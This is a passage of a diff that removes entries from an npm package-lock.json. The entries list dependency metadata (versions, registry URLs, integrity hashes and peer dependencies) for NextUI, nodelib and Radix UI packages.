- "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/@nextui-org/theme": {
- "version": "2.2.6",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "clsx": "^1.2.1",
- "color": "^4.2.3",
- "color2k": "^2.0.2",
- "deepmerge": "4.3.1",
- "flat": "^5.0.2",
- "lodash.foreach": "^4.5.0",
- "lodash.get": "^4.4.2",
- "lodash.kebabcase": "^4.1.1",
- "lodash.mapkeys": "^4.6.0",
- "lodash.omit": "^4.5.0",
- "tailwind-merge": "^1.14.0",
- "tailwind-variants": "^0.1.20"
- },
- "peerDependencies": {
- "tailwindcss": ">=3.4.0"
- }
- },
- "node_modules/@nextui-org/theme/node_modules/clsx": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz",
- "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==",
- "peer": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/@nextui-org/theme/node_modules/tailwind-merge": {
- "version": "1.14.0",
- "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-1.14.0.tgz",
- "integrity": "sha512-3mFKyCo/MBcgyOTlrY8T7odzZFx+w+qKSMAmdFzRvqBfLlSigU6TZnlFHK0lkMwj9Bj8OYU+9yW9lmGuS0QEnQ==",
- "peer": true,
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/dcastil"
- }
- },
- "node_modules/@nextui-org/use-aria-button": {
- "version": "2.0.10",
- "license": "MIT",
- "dependencies": {
- "@react-aria/focus": "3.17.1",
- "@react-aria/interactions": "3.21.3",
- "@react-aria/utils": "3.24.1",
- "@react-types/button": "3.9.4",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@nextui-org/use-image": {
- "version": "2.0.6",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/use-safe-layout-effect": "2.0.6"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@nextui-org/use-is-mobile": {
- "version": "2.0.9",
- "license": "MIT",
- "dependencies": {
- "@react-aria/ssr": "3.9.4"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@nextui-org/use-safe-layout-effect": {
- "version": "2.0.6",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@nodelib/fs.scandir": {
- "version": "2.1.5",
- "license": "MIT",
- "dependencies": {
- "@nodelib/fs.stat": "2.0.5",
- "run-parallel": "^1.1.9"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.stat": {
- "version": "2.0.5",
- "license": "MIT",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.walk": {
- "version": "1.2.8",
- "license": "MIT",
- "dependencies": {
- "@nodelib/fs.scandir": "2.1.5",
- "fastq": "^1.6.0"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@pkgjs/parseargs": {
- "version": "0.11.0",
- "license": "MIT",
- "optional": true,
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@pkgr/core": {
- "version": "0.1.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "^12.20.0 || ^14.18.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/unts"
- }
- },
- "node_modules/@popperjs/core": {
- "version": "2.11.8",
- "license": "MIT",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/popperjs"
- }
- },
- "node_modules/@radix-ui/number": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.0.tgz",
- "integrity": "sha512-V3gRzhVNU1ldS5XhAPTom1fOIo4ccrjjJgmE+LI2h/WaFpHmx0MQApT+KZHnx8abG6Avtfcz4WoEciMnpFT3HQ=="
- },
- "node_modules/@radix-ui/primitive": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.0.tgz",
- "integrity": "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="
- },
- "node_modules/@radix-ui/react-alert-dialog": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.2.tgz",
- "integrity": "sha512-eGSlLzPhKO+TErxkiGcCZGuvbVMnLA1MTnyBksGOeGRGkxHiiJUujsjmNTdWTm4iHVSRaUao9/4Ur671auMghQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dialog": "1.1.2",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-slot": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-arrow": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.0.tgz",
- "integrity": "sha512-FmlW1rCg7hBpEBwFbjHwCW6AmWLQM6g/v0Sn8XbP9NvmSZ2San1FpQeyPtufzOMSIx7Y4dzjlHoifhp+7NkZhw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-avatar": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-avatar/-/react-avatar-1.1.1.tgz",
- "integrity": "sha512-eoOtThOmxeoizxpX6RiEsQZ2wj5r4+zoeqAwO0cBaFQGjJwIH3dIX0OCxNrCyrrdxG+vBweMETh3VziQG7c1kw==",
- "dependencies": {
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-collection": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.0.tgz",
- "integrity": "sha512-GZsZslMJEyo1VKm5L1ZJY8tGDxZNPAoUeQUIbKeJfoi7Q4kmig5AsgLMYYuyYbfjd8fBmFORAIwYAkXMnXZgZw==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.0",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-slot": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-context": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.0.tgz",
- "integrity": "sha512-OKrckBy+sMEgYM/sMmqmErVn0kZqrHPJze+Ql3DzYsDDp0hl0L62nx/2122/Bvps1qz645jlcu2tD9lrRSdf8A==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-compose-refs": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.0.tgz",
- "integrity": "sha512-b4inOtiaOnYf9KWyO3jAeeCG6FeyfY6ldiEPanbUjWd+xIk5wZeHa8yVwmrJ2vderhu/BQvzCrJI0lHd+wIiqw==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-context": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.1.tgz",
- "integrity": "sha512-UASk9zi+crv9WteK/NU4PLvOoL3OuE6BWVKNF6hPRBtYBDXQ2u5iu3O59zUlJiTVvkyuycnqrztsHVJwcK9K+Q==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dialog": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.2.tgz",
- "integrity": "sha512-Yj4dZtqa2o+kG61fzB0H2qUvmwBA2oyQroGLyNtBj1beo1khoQ3q1a2AO8rrQYjd8256CO9+N8L9tvsS+bnIyA==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.1",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-portal": "1.1.2",
- "@radix-ui/react-presence": "1.1.1",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-slot": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-direction": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz",
- "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dismissable-layer": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.1.tgz",
- "integrity": "sha512-QSxg29lfr/xcev6kSz7MAlmDnzbP1eI/Dwn3Tp1ip0KT5CUELsxkekFEMVBEoykI3oV39hKT4TKZzBNMbcTZYQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-escape-keydown": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dropdown-menu": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.2.tgz",
- "integrity": "sha512-GVZMR+eqK8/Kes0a36Qrv+i20bAPXSn8rCBTHx30w+3ECnR5o3xixAlqcVaYvLeyKUsm0aqyhWfmUcqufM8nYA==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-menu": "2.1.2",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-focus-guards": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz",
- "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-focus-scope": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.0.tgz",
- "integrity": "sha512-200UD8zylvEyL8Bx+z76RJnASR2gRMuxlgFCPAe/Q/679a/r0eK3MBVYMb7vZODZcffZBdob1EGnky78xmVvcA==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-icons": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-icons/-/react-icons-1.3.0.tgz",
- "integrity": "sha512-jQxj/0LKgp+j9BiTXz3O3sgs26RNet2iLWmsPyRz2SIcR4q/4SbazXfnYwbAr+vLYKSfc7qxzyGQA1HLlYiuNw==",
- "peerDependencies": {
- "react": "^16.x || ^17.x || ^18.x"
- }
- },
- "node_modules/@radix-ui/react-id": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.0.tgz",
- "integrity": "sha512-EJUrI8yYh7WOjNOqpoJaf1jlFIH2LvtgAl+YcFqNCa+4hj64ZXmPkAKOFs/ukjz3byN6bdb/AVUqHkI8/uWWMA==",
- "dependencies": {
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-label": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.0.tgz",
- "integrity": "sha512-peLblDlFw/ngk3UWq0VnYaOLy6agTZZ+MUO/WhVfm14vJGML+xH4FAl2XQGLqdefjNb7ApRg6Yn7U42ZhmYXdw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-menu": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.2.tgz",
- "integrity": "sha512-lZ0R4qR2Al6fZ4yCCZzu/ReTFrylHFxIqy7OezIpWF4bL0o9biKo0pFIvkaew3TyZ9Fy5gYVrR5zCGZBVbO1zg==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-collection": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-dismissable-layer": "1.1.1",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-popper": "1.2.0",
- "@radix-ui/react-portal": "1.1.2",
- "@radix-ui/react-presence": "1.1.1",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-roving-focus": "1.1.0",
- "@radix-ui/react-slot": "1.1.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-popper": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.0.tgz",
- "integrity": "sha512-ZnRMshKF43aBxVWPWvbj21+7TQCvhuULWJ4gNIKYpRlQt5xGRhLx66tMp8pya2UkGHTSlhpXwmjqltDYHhw7Vg==",
- "dependencies": {
- "@floating-ui/react-dom": "^2.0.0",
- "@radix-ui/react-arrow": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.0",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-use-rect": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0",
- "@radix-ui/rect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-context": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.0.tgz",
- "integrity": "sha512-OKrckBy+sMEgYM/sMmqmErVn0kZqrHPJze+Ql3DzYsDDp0hl0L62nx/2122/Bvps1qz645jlcu2tD9lrRSdf8A==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-portal": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.2.tgz",
- "integrity": "sha512-WeDYLGPxJb/5EGBoedyJbT0MpoULmwnIPMJMSldkuiMsBAv7N1cRdsTWZWht9vpPOiN3qyiGAtbK2is47/uMFg==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-presence": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.1.tgz",
- "integrity": "sha512-IeFXVi4YS1K0wVZzXNrbaaUvIJ3qdY+/Ih4eHFhWA9SwGR9UDX7Ck8abvL57C4cv3wwMvUE0OG69Qc3NCcTe/A==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-primitive": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.0.0.tgz",
- "integrity": "sha512-ZSpFm0/uHa8zTvKBDjLFWLo8dkr4MBsiDLz0g3gMUwqgLHz9rTaRRGYDgvZPtBJgYCBKXkS9fzmoySgr8CO6Cw==",
- "dependencies": {
- "@radix-ui/react-slot": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-roving-focus": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.0.tgz",
- "integrity": "sha512-EA6AMGeq9AEeQDeSH0aZgG198qkfHSbvWTf1HvoDmOB5bBG/qTxjYMWUKMnYiV6J/iP/J8MEFSuB2zRU2n7ODA==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-collection": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.0",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-roving-focus/node_modules/@radix-ui/react-context": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.0.tgz",
- "integrity": "sha512-OKrckBy+sMEgYM/sMmqmErVn0kZqrHPJze+Ql3DzYsDDp0hl0L62nx/2122/Bvps1qz645jlcu2tD9lrRSdf8A==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-scroll-area": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.0.tgz",
- "integrity": "sha512-q2jMBdsJ9zB7QG6ngQNzNwlvxLQqONyL58QbEGwuyRZZb/ARQwk3uQVbCF7GvQVOtV6EU/pDxAw3zRzJZI3rpQ==",
- "dependencies": {
- "@radix-ui/number": "1.1.0",
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-presence": "1.1.1",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-separator": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.0.tgz",
- "integrity": "sha512-3uBAs+egzvJBDZAzvb/n4NxxOYpnspmWxO2u5NbZ8Y6FM/NdrGSF9bop3Cf6F6C71z1rTSn8KV0Fo2ZVd79lGA==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-slot": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.0.tgz",
- "integrity": "sha512-FUCf5XMfmW4dtYl69pdS4DbxKy8nj4M7SafBgPllysxmdachynNflAdp/gCsnYWNDnge6tI9onzMp5ARYc1KNw==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-toast": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.2.tgz",
- "integrity": "sha512-Z6pqSzmAP/bFJoqMAston4eSNa+ud44NSZTiZUmUen+IOZ5nBY8kzuU5WDBVyFXPtcW6yUalOHsxM/BP6Sv8ww==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.0",
- "@radix-ui/react-collection": "1.1.0",
- "@radix-ui/react-compose-refs": "1.1.0",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.1",
- "@radix-ui/react-portal": "1.1.2",
- "@radix-ui/react-presence": "1.1.1",
- "@radix-ui/react-primitive": "2.0.0",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-visually-hidden": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-callback-ref": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.0.tgz",
- "integrity": "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
